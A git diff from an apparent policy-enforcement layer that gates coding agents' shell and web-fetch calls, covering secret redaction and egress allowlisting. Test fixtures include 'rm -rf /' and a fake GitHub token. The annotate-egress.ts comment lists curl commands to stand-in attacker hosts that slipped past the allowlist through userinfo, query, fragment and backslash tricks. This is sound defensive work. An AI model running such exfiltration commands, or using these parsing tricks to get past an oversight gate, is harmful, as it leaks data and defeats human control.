@@ hooks: acs_method: steps/toolCallRequest tool_name: $.tool arguments: $.args - tools: [bash] + # The same declaration Claude Code's hookmap makes, at this host's own + # field: OpenCode hands the plugin a mutable `{args}`, so the shell tool's + # command line is `$.args.command` where host #1 has `$.tool_input.command`. + # Absorbing that difference is what a hookmap is for. + raw_command: $.args.command + # `webfetch` joins `bash` because the manifest can now express a policy + # target for it: mapping.yaml names which argument each tool's target lives + # in, and the Guardian copies it to the one leaf the manifest points at. The + # paragraph above still holds for every OTHER tool this host can call -- + # they are declined here, not asked and mis-answered. + tools: [bash, webfetch] decisions: # `refuse.reason` is this host's deny channel AT THIS GATE and there is # no other here: measured, `output.status = "deny"` and diff --git a/hosts/opencode/test/gate-ordering.test.ts b/hosts/opencode/test/gate-ordering.test.ts index 028ff9a7..5247e172 100644 --- a/hosts/opencode/test/gate-ordering.test.ts +++ b/hosts/opencode/test/gate-ordering.test.ts @@ -103,6 +103,12 @@ type Gate = { * entry for this gate must name, since that log's readers know ACS and no * host's event names. */ readonly acsMethod: string; + /** The `tools` list the SHIPPED hookmap declares for this gate, which the + * ungoverned entry records beside the tool that missed it. Per gate, not + * one constant: since V9 the request gate governs `webfetch` too and the + * result gate still governs `bash` alone, and an entry naming the wrong + * gate's list would misreport which declaration let the tool through. */ + readonly tools: readonly string[]; readonly freshLive: () => Record; readonly fire: (hooks: Hooks, tool: unknown, sessionID: string, live: Record) => Promise; }; @@ -111,6 +117,7 @@ const GATES: readonly Gate[] = [ { hook: "tool.execute.before", acsMethod: "steps/toolCallRequest", + tools: ["bash", "webfetch"], // The mutable `{args}` OpenCode hands the request gate -- the only place it // puts them at that gate. freshLive: () => ({ args: { command: "ls -la" } }), @@ -123,6 +130,7 @@ const GATES: readonly Gate[] = [ { hook: "tool.execute.after", acsMethod: "steps/toolCallResult", + tools: ["bash"], // The whole live `{title, output, metadata}` object, shaped as a real // `bash` result is (`metadata.exit`/`metadata.output`, measured on // OpenCode 1.18.15 -- opencode.hookmap.yaml's own table). @@ -210,7 +218,7 @@ for (const gate of GATES) { method: gate.acsMethod, rpc_id: null, outcome: "ungoverned", - ungoverned: { tool: UNLISTED_TOOL, tools: ["bash"] }, + ungoverned: { tool: UNLISTED_TOOL, tools: gate.tools }, }, ]); } finally { diff --git a/hosts/opencode/test/hookmap.test.ts b/hosts/opencode/test/hookmap.test.ts index b4646ba4..26ad1873 100644 --- a/hosts/opencode/test/hookmap.test.ts +++ b/hosts/opencode/test/hookmap.test.ts @@ -116,7 +116,7 @@ describe("opencode.hookmap.yaml", () => { } }); - it("scopes both gates to bash", () => { + it("scopes the result gate to bash alone, and the request gate to bash and webfetch", () => { // OpenCode fires the result gate's hook for every tool with no matcher, // and `metadata` is per-tool -- only `bash` carries // `metadata.exit`/`metadata.output`, which this gate's `outputs` and @@ -131,9 +131,11 @@ describe("opencode.hookmap.yaml", () => { // any authored rule runs, independent of the tool registry. An unscoped // request gate would ask the Guardian about every tool it can never // register a target for, and get an unconditional deny back rather than a - // policy decision. Scoped to `bash` now, for the same reason the result - // gate already is. - expect(hooks["tool.execute.before"]?.tools).toEqual(["bash"]); + // policy decision. Scoped to `bash` and `webfetch` -- the two tools + // mapping.yaml's policy_target_argument table now knows how to read a + // target from -- for the same reason the result gate is scoped at all: + // every other tool is declined here, not asked and mis-answered. + expect(hooks["tool.execute.before"]?.tools).toEqual(["bash", "webfetch"]); }); it("builds a wire payload of exactly {tool, exit_status, outputs:[{value}]}, with no mirrors anywhere in it", () => { diff --git a/hosts/opencode/test/request-gate.test.ts b/hosts/opencode/test/request-gate.test.ts index acee11af..8361d0fb 100644 --- a/hosts/opencode/test/request-gate.test.ts +++ b/hosts/opencode/test/request-gate.test.ts @@ -218,7 +218,10 @@ describe('AcsPlugin\'s "tool.execute.before" hook -- the request gate, against a method: "steps/toolCallRequest", rpc_id: null, outcome: "ungoverned", - ungoverned: { tool: "read", tools: ["bash"] }, + // Both tools this gate governs since V9, not just `bash`: the list + // is the half of the entry that makes a drifting `tools` decl + // visible, so it has to be the shipped one. + ungoverned: { tool: "read", tools: ["bash", "webfetch"] }, }, ]); } finally { @@ -401,7 +404,7 @@ describe("a request-gate modify the hookmap gives no way to land -- the measured expect(governed.output).toEqual({ reason: { text: - "A secret in this command was replaced before it ran. " + + "A secret in this step's arguments was replaced before it ran. " + "Policy: redaction_applied, from AGT's stock bundle (agt_stock).", }, }); @@ -733,7 +736,7 @@ describe("a request-gate modify the hookmap gives no way to land -- the measured refuse: { denied: true, reason: - "A secret in this command was replaced before it ran. " + + "A secret in this step's arguments was replaced before it ran. " + "Policy: redaction_applied, from AGT's stock bundle (agt_stock).", }, }); diff --git a/mapping.yaml b/mapping.yaml index e635b59c..3dac231d 100644 --- a/mapping.yaml +++ b/mapping.yaml @@ -40,22 +40,51 @@ agt_version: "0.3.1-beta" intervention_points: pre_tool_call: acs_method: "steps/toolCallRequest" - # AGT's transform verdict carries {path, value}, where path is the - # literal "$policy_target": the leaf the manifest's intervention point - # declared (policy_target: "$.tool_call.args.command"). ACS expresses that - # as modifications.parameter_overrides keyed by argument name, per - # modifications.json ("Replacement values for tool call arguments, keyed by - # argument name"). into_argument names which key, and must agree with - # policy/manifest.yaml's pre_tool_call policy_target -- this is one of the - # two places the two files touch, and the agreement is CHECKED rather than - # asked for: test/path-dialects.test.ts derives this value from that one and - # fails if either moves. That check is why this comment no longer ends by - # telling a reader to go and compare three files by hand. + # Which argument this gate's policy target lives in, per tool. + # + # AGT's manifest gives an intervention point exactly ONE policy_target + # (manifest.schema.json declares intervention_point with + # additionalProperties: false), and AGT resolves that path before any rule + # runs. Measured: a WebFetch call under a target of + # "$.tool_call.args.command" is DENIED on runtime_error:path_missing -- + # not evaluated and allowed; denied, with no rule consulted. So a + # deployment governing two tools whose arguments disagree about their names + # cannot express both with one literal path. + # + # The answer is this table plus a normalised leaf. The Guardian reads the + # argument named here, copies its value to the fixed snapshot leaf + # policy/manifest.yaml's policy_target points at, and every gate stays live + # in one Guardian -- the property a second manifest per gate would have + # cost. + # + # THE SAME ENTRY IS READ A SECOND TIME, and that is the whole reason it is + # one entry. AGT's transform names the leaf it rewrote by the literal + # "$policy_target"; ACS expresses that as modifications.parameter_overrides + # keyed by ARGUMENT NAME (modifications.json: "Replacement values for tool + # call arguments, keyed by argument name"). The argument a target is read + # FROM and the argument an override is written TO are the same argument. + # That used to be a second declaration (`into_argument: command`), and with + # one governed tool the two could not disagree. Widening to a second tool is + # exactly when they can: measured through the shipped mapVerdict, a + # redaction of a WebFetch url came out as parameter_overrides.command -- a + # key the tool has no argument for -- while url, still carrying the secret, + # shipped untouched. One entry read twice cannot do that. + # + # `default` is what an unlisted tool gets. A tool listed here that + # policy/manifest.yaml does not register is a failing case in + # test/path-dialects.test.ts. + policy_target_argument: + default: command + by_tool: + run_shell: command + Bash: command + bash: command + WebFetch: url + webfetch: url modifications: from: verdict.transform when_path: "$policy_target" into: parameter_overrides - into_argument: command post_tool_call: acs_method: "steps/toolCallResult" # AGT's redact rule returns the FULLY substituted text (verified against @@ -65,11 +94,13 @@ intervention_points: # into_path is the ACS JSON pointer for the same leaf this point's # policy_target addresses: policy/manifest.yaml declares # policy_target: "$.tool_result.outputs[0].value", and the pointer into the - # result payload for that leaf is "/outputs/0/value". That agreement is the - # SECOND of the two places mapping.yaml and policy/manifest.yaml touch, - # exactly as into_argument is for the request gate above -- and, like that - # one, it is derived and checked in test/path-dialects.test.ts rather than - # left to whoever edits one file remembering the other. + # result payload for that leaf is "/outputs/0/value". That agreement is now + # the ONLY direct place mapping.yaml and policy/manifest.yaml touch: the + # request gate above no longer names a leaf here at all, so its own + # agreement is between policy/manifest.yaml's policy_target and + # assemble-snapshot.ts's POLICY_TARGET_LEAF constant instead. Both + # agreements are derived and checked in test/path-dialects.test.ts rather + # than left to whoever edits one file remembering the other. # # The HOST's own dialect (the hookmap's outputs.from, "$.tool_response # .stdout") is deliberately NOT derived from either: it addresses the host's @@ -136,7 +167,7 @@ field_synthesis: approval_required: "This step needs human approval before it can run." drift_detected: "This step was allowed, but flagged: the agent's behaviour drifted from its baseline." redaction_applied: - pre_tool_call: "A secret in this command was replaced before it ran." + pre_tool_call: "A secret in this step's arguments was replaced before it ran." post_tool_call: "Secrets in this output were replaced before the model saw them." # AGT's message, rendered for the reader the sentence above is for. The # pattern form carries the regex that matched, which is the one part of diff --git a/packages/agt-bridge/test/bridge.test.ts b/packages/agt-bridge/test/bridge.test.ts index 3afe0cc0..b8c786db 100644 --- a/packages/agt-bridge/test/bridge.test.ts +++ b/packages/agt-bridge/test/bridge.test.ts @@ -1,11 +1,26 @@ import { describe, expect, it, beforeAll } from "bun:test"; import { AgentControl } from "agent-control-specification"; -import { createBridge, type EvidenceBridge, type PolicyBridge } from "../src/index.ts"; +import { createBridge, type Annotator, type EvidenceBridge, type PolicyBridge } from "../src/index.ts"; import { buildConfigBundle, buildManifest } from "../../../test/helpers/config-bundle.ts"; +// `acs_policy_target` mirrors the leaf `packages/guardian/src/assemble-snapshot.ts` +// copies a tool's policy-target argument to. policy/manifest.yaml's +// pre_tool_call point targets that leaf, not `command` directly, so a +// hand-built snapshot omitting it fails AGT's own path resolution with +// runtime_error:path_missing before any rule this suite is about ever runs. +// +// `raw_command` is here for the identical reason at a second path: that point +// also declares `annotations.egress.from: "$.tool_call.raw_command"`, and an +// annotation's `from` is a liveness precondition -- unresolved, the call +// denies on runtime_error:path_missing with the annotator never dispatched. +// The assembler writes the member on every snapshot (the empty string when +// the wire carried none), so this stand-in carries it too. It stays inside +// `tool_call` rather than at the snapshot root deliberately: the key set this +// helper puts at the root is asserted verbatim by "a caller that never +// touches createBridge can satisfy the role too" below. const snapshotFor = (command: string) => ({ envelope: { budgets: { tool_call_count: 0, token_count: 0, elapsed_seconds: 0, cost_usd: 0 } }, - tool_call: { name: "run_shell", args: { command }, id: "t1" }, + tool_call: { name: "run_shell", args: { command, acs_policy_target: command }, raw_command: command, id: "t1" }, }); // The label the Guardian's own session seed would have supplied, spread @@ -23,9 +38,27 @@ const snapshotFor = (command: string) => ({ // currently-passing test for no reason connected to IFC. const publicLabel = { input: { ifc: { source_labels: ["public"] } } }; +// policy/manifest.yaml declares an `egress` annotator, and a bridge built +// against it with NO dispatcher denies every call on +// runtime_error:annotation_failed -- measured, benign calls included, so it is +// a total deny wearing a policy-shaped reason rather than a no-op. Every +// evaluation in this suite that uses the shipped manifest therefore supplies +// one. +// +// The smallest dispatcher that satisfies the declaration, not the Guardian's +// real one: this suite is about the bridge's own contract, and the real +// annotator lives in packages/guardian/src/deployment-bridge.ts, which cannot +// be imported here -- guardian depends on this package, not the other way +// round. Answering no destination leaves AGT's egress gate undefined, so +// every rule these tests are actually about still gets its turn. +const noDestination: Annotator = () => ({}); +// The same answer in the SDK's own dispatcher shape, for the one test below +// that drives AgentControl directly instead of through createBridge. +const noDestinationDispatcher = { async dispatch(): Promise> { return {}; } }; + // `createBridge` answers with both roles, and this suite exercises both. let bridge: PolicyBridge & EvidenceBridge; -beforeAll(() => { bridge = createBridge("policy/manifest.yaml"); }); +beforeAll(() => { bridge = createBridge("policy/manifest.yaml", { annotator: noDestination }); }); describe("agt-bridge", () => { it("denies a destructive shell command using the stock bundle", async () => { @@ -70,7 +103,7 @@ describe("agt-bridge", () => { // returning distinct identities, where the old one could also fail for a // change in this package's own pass-through. it("the Node SDK returns input and enforced identity as distinct fields", async () => { - const control = AgentControl.fromPath("policy/manifest.yaml"); + const control = AgentControl.fromPath("policy/manifest.yaml", noDestinationDispatcher); const result = await control.evaluateInterventionPoint("pre_tool_call" as never, snapshotFor("ls -la") as never); expect(result.inputIdentity).toMatch(/^sha256:[0-9a-f]{64}$/); @@ -81,10 +114,19 @@ describe("agt-bridge", () => { // The `let bridge: PolicyBridge` annotation above is already the // compile-time half of this claim; this is the runtime half, asserting the // role's one method is the one being called throughout. - const asRole: PolicyBridge = createBridge("policy/manifest.yaml"); + const asRole: PolicyBridge = createBridge("policy/manifest.yaml", { annotator: noDestination }); expect(typeof asRole.evaluate).toBe("function"); - expect((await asRole.evaluate("pre_tool_call", snapshotFor("rm -rf /"))).decision).toBe("deny"); + // The reason as well as the decision: a dispatcher-less bridge also + // answers `deny` here, on runtime_error:annotation_failed, so asserting + // the decision alone would pass whether or not any rule ran at all. And + // `publicLabel` is spread in for the same reason it is elsewhere -- an + // unlabelled snapshot denies on IFC before the pattern gate runs, which + // would make the `rm -rf /` fixture decorative. + expect(await asRole.evaluate("pre_tool_call", { ...snapshotFor("rm -rf /"), ...publicLabel })).toMatchObject({ + decision: "deny", + reason: "destructive_shell_command_blocked", + }); }); it("a caller that never touches createBridge can satisfy the role too", async () => { diff --git a/packages/conformance/src/main.ts b/packages/conformance/src/main.ts index 607a46e2..c2239842 100644 --- a/packages/conformance/src/main.ts +++ b/packages/conformance/src/main.ts @@ -52,8 +52,13 @@ * invariant -- see e.g. failure-domains.ts's own header) never leaks the * listener. */ -import { createBridge } from "agt-bridge"; -import { loadMapping, startGuardian } from "guardian"; +import { loadMapping, startGuardian, POLICY_TARGET_LEAF } from "guardian"; +// The deployment subpath, not the barrel: the barrel is the governance verbs, +// and this is how the deployment builds a bridge. This runner MEASURES the +// shipped deployment, so it has to build the same bridge startGuardian builds +// -- assembling a replica here is how a harness comes to measure something +// that is no longer the thing it names. +import { createDeploymentBridge } from "guardian/deployment"; import type { InterventionSnapshot } from "agt-bridge"; import type { CoverageMatrix } from "./cells.ts"; import { checkInterventionPoints, coverageCellsFromInterventionPoints } from "./intervention-points.ts"; @@ -75,7 +80,19 @@ const MAPPING_PATH = "mapping.yaml"; * finding, not the no-rewrite case a benign fixture would report instead. */ const PRE_TOOL_CALL_SNAPSHOT: InterventionSnapshot = { envelope: { budgets: { tool_call_count: 0, token_count: 0, elapsed_seconds: 0, cost_usd: 0 } }, - tool_call: { name: "Bash", args: { command: "echo ghp_ONLYINCOMMAND999" }, id: "t1" }, + tool_call: { + name: "Bash", + // POLICY_TARGET_LEAF is the leaf assemble-snapshot.ts copies a tool's own + // policy-target argument to; policy/manifest.yaml's pre_tool_call point + // targets that leaf, not `command` directly. + args: { command: "echo ghp_ONLYINCOMMAND999", [POLICY_TARGET_LEAF]: "echo ghp_ONLYINCOMMAND999" }, + // The same point's `annotations.egress.from` names this member, and an + // annotation's `from` is a liveness precondition: unresolved, AGT denies + // the whole call on runtime_error:path_missing before the annotator is + // dispatched. assemble-snapshot.ts writes it on every real snapshot. + raw_command: "echo ghp_ONLYINCOMMAND999", + id: "t1", + }, input: { ifc: { source_labels: ["public"] } }, }; const POST_TOOL_CALL_SNAPSHOT: InterventionSnapshot = { @@ -107,7 +124,15 @@ export type ConformanceRun = { export async function main(): Promise { const mapping = loadMapping(MAPPING_PATH); - const bridge = createBridge(MANIFEST_PATH); + // One function builds both: `startGuardian` on the next line calls + // `createDeploymentBridge` itself, so the bridge this runner measures + // directly and the bridge behind the live Guardian below cannot drift apart. + // Assembling the recipe here instead would have made every measurement + // conditional on this file remembering it, and the failure is silent in the + // worst direction -- a bridge missing this deployment's annotator denies + // every call on `runtime_error:annotation_failed`, which a coverage matrix + // would faithfully report as the implementation's own behaviour. + const bridge = createDeploymentBridge(MANIFEST_PATH); const guardian = await startGuardian({ port: 0, manifestPath: MANIFEST_PATH }); try { diff --git a/packages/conformance/src/policy-input-schema.ts b/packages/conformance/src/policy-input-schema.ts index 282f14ac..7aee6557 100644 --- a/packages/conformance/src/policy-input-schema.ts +++ b/packages/conformance/src/policy-input-schema.ts @@ -58,6 +58,7 @@ import { join } from "node:path"; import Ajv2020 from "ajv/dist/2020.js"; import addFormats from "ajv-formats"; import type { EvidenceBridge, InterventionSnapshot } from "agt-bridge"; +import { POLICY_TARGET_LEAF } from "guardian"; /** Names the variable `scripts/run-conformance.sh` sets after cloning AGT at * `agt.lock`'s pinned ref -- read here, and printed in the skip reason below, @@ -79,7 +80,19 @@ const PROBE_SNAPSHOTS: [point: "pre_tool_call" | "post_tool_call", snapshot: Int "pre_tool_call", { envelope: { budgets: { tool_call_count: 0, token_count: 0, elapsed_seconds: 0, cost_usd: 0 } }, - tool_call: { name: "Bash", args: { command: "echo ghp_ONLYINCOMMAND999" }, id: "t1" }, + tool_call: { + name: "Bash", + // POLICY_TARGET_LEAF is the leaf assemble-snapshot.ts copies a + // tool's own policy-target argument to; policy/manifest.yaml's + // pre_tool_call point targets that leaf, not `command` directly. + args: { command: "echo ghp_ONLYINCOMMAND999", [POLICY_TARGET_LEAF]: "echo ghp_ONLYINCOMMAND999" }, + // The same point's `annotations.egress.from` names this member, and + // an annotation's `from` is a liveness precondition: unresolved, AGT + // denies the whole call on runtime_error:path_missing, and the + // document this leg is meant to validate is never produced. + raw_command: "echo ghp_ONLYINCOMMAND999", + id: "t1", + }, input: { ifc: { source_labels: ["public"] } }, }, ], diff --git a/packages/conformance/src/upstream-watch.ts b/packages/conformance/src/upstream-watch.ts index 592b6641..1b76f82a 100644 --- a/packages/conformance/src/upstream-watch.ts +++ b/packages/conformance/src/upstream-watch.ts @@ -1,5 +1,9 @@ import { readFileSync } from "node:fs"; -import { createBridge } from "agt-bridge"; +// The deployment subpath, not the barrel: the barrel is the governance verbs, +// and this is how the deployment builds a bridge. This watch validates the +// document the shipped deployment sends AGT, so it has to send the document +// the shipped bridge produces. +import { createDeploymentBridge } from "guardian/deployment"; import { diffSurfaces, type SurfaceDiff } from "./diff-surfaces.ts"; import { fetchUpstreamSurfaces, UPSTREAM_AGT_CLONE_ENV } from "./fetch-upstream.ts"; import { checkPolicyInputSchemaAt, PINNED_AGT_CLONE_ENV } from "./policy-input-schema.ts"; @@ -239,7 +243,12 @@ export async function runUpstreamWatch( let schemaAgainstMain: SchemaAgainstMainChecked; try { - const bridge = createBridge(MANIFEST_PATH); + // A bridge without this deployment's annotator would send AGT a policy + // input whose `annotations` never arrived, and take a deny on + // runtime_error:annotation_failed -- measured. What this leg validates + // against upstream's schema would then be a document the deployment never + // sends. + const bridge = createDeploymentBridge(MANIFEST_PATH); const result = await checkPolicyInputSchemaAt(bridge, upstreamClone); schemaAgainstMain = result.ran ? { checked: true, ok: true, points: result.points } diff --git a/packages/conformance/src/verdicts.ts b/packages/conformance/src/verdicts.ts index d9956a19..fb2640ae 100644 --- a/packages/conformance/src/verdicts.ts +++ b/packages/conformance/src/verdicts.ts @@ -37,7 +37,7 @@ * make an honest gap indistinguishable from a defect and press the matrix * towards being all-expressed. */ -import { mapVerdict, type AcsDecision, type Mapping } from "guardian"; +import { mapVerdict, resolvePolicyTargetArgument, type AcsDecision, type Mapping } from "guardian"; import type { AgtVerdict } from "agt-bridge"; import { everyCell, type CoverageCell } from "./cells.ts"; @@ -50,6 +50,12 @@ const WARN_GUARDIAN_ONLY = "manifest-declared annotator and never from the snapshot; no ACS v0.1.0 method payload carries a field a " + "drift score could be derived from, so the Guardian must originate it"; +/** A tool name `mapping.yaml`'s `by_tool` table deliberately does not carry, + * so this round trip reads the declared default rather than one tool's row. + * Passing a real tool name would make the measurement depend on which tools + * happen to be registered. */ +const CONFORMANCE_PROBE_TOOL = "conformance_probe"; + /** * Inverts mapping.yaml's `verdicts` table: ACS decision -> AGT verdict. Two * key grammars, by design and not by accident: a decision reached by exactly @@ -210,7 +216,7 @@ function roundTrip( let acs: AcsDecision; try { - acs = mapVerdict(agt, mapping, point); + acs = mapVerdict(agt, mapping, point, resolvePolicyTargetArgument(mapping, point, CONFORMANCE_PROBE_TOOL)); } catch (error) { // mapVerdict's own sentence, either way: it names the row and the rule it // could not find better than a reason written here would, and rewriting diff --git a/packages/conformance/test/identity.test.ts b/packages/conformance/test/identity.test.ts index 54c1a757..03b58cac 100644 --- a/packages/conformance/test/identity.test.ts +++ b/packages/conformance/test/identity.test.ts @@ -1,9 +1,15 @@ import { createHash } from "node:crypto"; import { describe, expect, it } from "bun:test"; -import { createBridge, type AgtEvidence, type EvidenceBridge } from "agt-bridge"; +import { type AgtEvidence, type EvidenceBridge } from "agt-bridge"; +import { POLICY_TARGET_LEAF } from "guardian"; +// The deployment subpath, not the barrel: the barrel is the governance verbs, +// and this is how the deployment builds a bridge. Same reason src/main.ts uses +// it -- these findings are only about the shipped deployment if the bridge is +// the shipped one. +import { createDeploymentBridge } from "guardian/deployment"; import { canonicalIdentity, measureIdentity, coverageCellsFromIdentity } from "../src/identity.ts"; -const bridge = createBridge("policy/manifest.yaml"); +const bridge = createDeploymentBridge("policy/manifest.yaml"); const REDACTABLE = { envelope: { budgets: { tool_call_count: 0, token_count: 0, elapsed_seconds: 0, cost_usd: 0 } }, @@ -107,12 +113,23 @@ describe("the request gate, measured rather than assumed to match the result gat // Same mechanism as REDACTABLE above, at the other of mapping.yaml's two // `modifications` rows: policy/lib/agt_default.rego's redact_verdict reads // input.policy_target.value regardless of intervention_point, and - // pre_tool_call's policy_target ("$.tool_call.args.command", + // pre_tool_call's policy_target ("$.tool_call.args.acs_policy_target", // policy/manifest.yaml) is a string a ghp_ token can appear in exactly the - // same way it appears in a tool_result value. + // same way it appears in a tool_result value. `acs_policy_target` mirrors + // what assemble-snapshot.ts copies a tool's own policy-target argument to; + // `command` rides along beside it because that is what a real Bash call's + // snapshot carries too. const REDACTABLE_COMMAND = { envelope: { budgets: { tool_call_count: 0, token_count: 0, elapsed_seconds: 0, cost_usd: 0 } }, - tool_call: { name: "Bash", args: { command: "echo ghp_ONLYINCOMMAND999" }, id: "t1" }, + tool_call: { + name: "Bash", + args: { command: "echo ghp_ONLYINCOMMAND999", [POLICY_TARGET_LEAF]: "echo ghp_ONLYINCOMMAND999" }, + // The request gate's `annotations.egress.from` names this member, and an + // annotation's `from` is a liveness precondition: unresolved, AGT denies + // the whole call on runtime_error:path_missing before any rule runs. + raw_command: "echo ghp_ONLYINCOMMAND999", + id: "t1", + }, input: { ifc: { source_labels: ["public"] } }, }; diff --git a/packages/conformance/test/upstream-schema-check.test.ts b/packages/conformance/test/upstream-schema-check.test.ts index dda48431..b8f13cbd 100644 --- a/packages/conformance/test/upstream-schema-check.test.ts +++ b/packages/conformance/test/upstream-schema-check.test.ts @@ -4,7 +4,11 @@ import { mkdtempSync, mkdirSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join, dirname } from "node:path"; import { checkPolicyInputSchemaAt } from "../src/policy-input-schema.ts"; -import { createBridge } from "agt-bridge"; +// The deployment subpath, not the barrel: the barrel is the governance verbs, +// and this is how the deployment builds a bridge. Same as src/main.ts and +// src/upstream-watch.ts -- the document this leg validates is only the shipped +// deployment's document if the bridge is the shipped one. +import { createDeploymentBridge } from "guardian/deployment"; const SCHEMA_REL = "policy-engine/spec/schema/wire/policy-input.schema.json"; @@ -32,14 +36,14 @@ describe("checkPolicyInputSchemaAt -- the document we send, against the schema a }); it("validates against a permissive schema", async () => { - const bridge = createBridge("policy/manifest.yaml"); + const bridge = createDeploymentBridge("policy/manifest.yaml"); const result = await checkPolicyInputSchemaAt(bridge, cloneWithSchema({ type: "object" })); expect(result.ran).toBe(true); }); it("reports a FAILURE, not a skip, when the schema at that clone rejects what we send", async () => { - const bridge = createBridge("policy/manifest.yaml"); + const bridge = createDeploymentBridge("policy/manifest.yaml"); const tightened = { type: "object", required: ["a_field_agt_does_not_send_today"] }; await expect(checkPolicyInputSchemaAt(bridge, cloneWithSchema(tightened))).rejects.toThrow( diff --git a/packages/guardian/package.json b/packages/guardian/package.json index dba7e8ab..f5cd92dd 100644 --- a/packages/guardian/package.json +++ b/packages/guardian/package.json @@ -3,8 +3,11 @@ "private": true, "type": "module", "version": "0.1.0", - "main": "src/index.ts", - "types": "src/index.ts", + "exports": { + ".": "./src/index.ts", + "./deployment": "./src/deployment-bridge.ts", + "./package.json": "./package.json" + }, "dependencies": { "agt-bridge": "workspace:*", "ajv": "8.20.0", diff --git a/packages/guardian/src/annotate-egress.ts b/packages/guardian/src/annotate-egress.ts new file mode 100644 index 00000000..39f185b5 --- /dev/null +++ b/packages/guardian/src/annotate-egress.ts @@ -0,0 +1,299 @@ +/** + * The Guardian's destination extractor: what stands between an ACS + * `raw_command` and AGT's stock egress gate. + * + * NOT the gate. `policy/lib/egress.rego` is the gate, `cfg.egress` is its + * configuration, `egress_destination_not_allowed` is the reason it emits, and + * every one of those is AGT's, vendored byte-identical and not authored here. + * This module supplies one of that gate's own declared inputs -- the + * destination path `["annotations", "egress", "destination"]`, one of the five + * that `default_destination_paths` declares, which is to say AGT anticipated + * exactly this seam and published the address for it. + * + * WHY EXTRACTION RATHER THAN FORWARDING. `host_of()` has two branches, and + * both of them answer something for a whole command line. When the string + * contains "://" it takes everything after the scheme, so a URL bounded by a + * "/" survives being embedded in a command: measured, `curl + * https://evil.test/x` answers `evil.test`. That is the case that works, and + * it is the only one. When the string contains no "://" the second branch + * returns the command's own leading word -- measured, `echo hi` answers + * `echo hi` and `ls -la /tmp` answers `ls -la ` -- so a forwarded command + * line always resolves a destination, and no allowlist pattern matches a + * command, so every benign shell step would be denied. And when nothing + * bounds the host on the right, trailing shell text is swallowed into it: + * `curl https://docs.anthropic.com; ls` answers `docs.anthropic.com; ls`, + * which turns an allowlisted destination into a denial. Extracting the URL + * first is what keeps the gate from deciding about strings that are not + * destinations at all. + * + * WHY THE GATE IS HANDED AN ORIGIN RATHER THAN THE URL AS MATCHED. + * `host_of()` takes the substring after the scheme, splits it on "/", takes + * index 0, splits THAT on ":" and takes index 0 again. That is not a URL parse, + * and three separate shapes get past it -- all three measured against the + * shipped allowlist, through a Guardian started from this tree, with the URL + * handed over as matched: + * + * curl https://docs.anthropic.com:pw@exfil.attacker.test/steal ALLOWED + * curl https://metadata?x=@docs.anthropic.com ALLOWED + * curl https://internal-api#@docs.anthropic.com ALLOWED + * + * The first is a userinfo carrying a ":": the split at that ":" answers + * `docs.anthropic.com`, which `*.anthropic.com` covers. The second and third + * need no userinfo at all -- an authority ends at the first of "/", "?" or "#", + * `host_of()` bounds only at "/", so the query or fragment text joins the + * "host", and the allowlist glob's "*" swallows it whenever the real host has + * NO DOT IN IT. That last condition is what turns a parsing nit into a bypass: + * dotless names are internal ones -- `metadata`, `internal-api` -- which is + * exactly the class an egress gate is deployed for. `curl` reaches `metadata` + * and `internal-api` for those two (measured with `curl -w '%{url.host}'`). + * + * So where this module answers a destination at all, it answers + * `new URL(...).origin`, not the matched text. An origin is scheme, host and + * port and nothing else: it CANNOT carry a userinfo, a query or a fragment, so + * every shape above collapses to the host the request actually reaches, and + * `host_of()`'s remaining job -- split the port off -- is one it does + * correctly. Measured, all three deny. + * + * WHY THE PARSE ALONE IS NOT ENOUGH, AND WHY AMBIGUITY IS ANSWERED WITH A + * DESTINATION THAT CANNOT RESOLVE. Three parsers disagree about what host a + * command line reaches, and only one of them is the one that matters: + * + * - `new URL`, which follows the WHATWG rules; + * - `host_of()` in `policy/lib/egress.rego`, whose two splits are neither + * WHATWG nor RFC 3986; + * - `curl`, after the shell has already rewritten the argument. + * + * The measured case that separates them is a backslash. WHATWG treats "\" as + * "/" in a special scheme, so the authority ends there; `curl` does not treat + * it as a delimiter at all, and an unquoted shell removes it before `curl` ever + * sees it. So for `curl https://docs.anthropic.com\@evil.test/steal`, a parse + * of the matched text answers the origin `https://docs.anthropic.com`, which + * `*.anthropic.com` covers, while `curl` reaches `evil.test` (measured with + * `curl -w '%{url.host}'`). That is an allowlisted answer for an off-allowlist + * destination, and no amount of delimiter-fixing removes the class: computing + * "the host this will reach" from a PRE-SHELL command line needs both a shell + * parser and curl's parser, and this module has neither. + * + * So the default is inverted. This module decides only the shapes on which no + * parser could disagree -- a plain host, optionally a numeric port, terminated + * by "/", "?", "#" or the end of the token -- and answers every other shape + * with a destination that cannot resolve, `AMBIGUOUS_DESTINATION` below. The + * gate then denies it, because no allowlist can cover it. Narrow and total + * beats clever and partial: a shape this module does not recognise is one it + * refuses to vouch for, rather than one it guesses about. + * + * `{}` IS NOT A SAFE ANSWER TO AMBIGUITY, AND THAT IS THE LOAD-BEARING POINT. + * With no destination the gate's `destination(rules)` resolves nothing, is + * undefined, and the call ALLOWS. Ambiguity only denies if this module hands + * over a string the allowlist cannot match. `{}` is kept for the cases that + * genuinely carry no URL -- no match at all, a non-string `raw_command`, a + * destination argument the gate already reads, an input shape this function + * cannot read -- because those mean "this module has no opinion", which is a + * different thing from "this module cannot tell". + * + * WHAT THE OPERATOR SEES. For an ambiguous input the gate's message reads + * `destination unresolved.invalid not in allowlist [...]` -- less informative + * than a message naming a host, and deliberately so, because naming a host + * would mean claiming to know which one. The command that produced it is + * unchanged in the audit envelope, so the shell text is recoverable there; this + * comment is what an operator who greps that literal string is looking for. + * + * FOUR HAND-ROLLED ATTEMPTS PRECEDED THIS ONE, AND EACH LEAKED A DIFFERENT + * SHAPE. The first handed the URL over as matched; the second stripped userinfo + * but bounded the authority at "/" alone, which re-opened the class on + * query-delimited and fragment-delimited authorities; the third bounded at "/", + * "?" and "#" and still left the dotless-host shape; the fourth replaced the + * hand-rolled strip with a real parse and leaked the backslash shape above -- + * the first of the four to answer an ALLOWLISTED host for an off-allowlist + * destination. Each round closed the shape it was shown and met a new one, + * because each round was still trying to compute an undecidable answer. Do not + * add a fifth pattern for the next shape found: the shape belongs in the + * differential corpus in `packages/guardian/test/fixtures/`, and if the + * annotator answers an allowlisted host for it, what is wrong is the + * unambiguous-shape test, not the missing special case. + * + * WHAT AN ORIGIN DROPS, AND WHY IT COSTS NOTHING HERE. The path, query and + * fragment go. The gate consults only `host_of(dest)`, so today none of them + * was ever read, and the message AGT emits names a host either way. The one + * deployment this would matter to is one that pointed + * `cfg.egress.destination_paths` at a rule expecting a whole URL at this + * address -- a path this repository does not ship and a change that would have + * to be made deliberately. + * 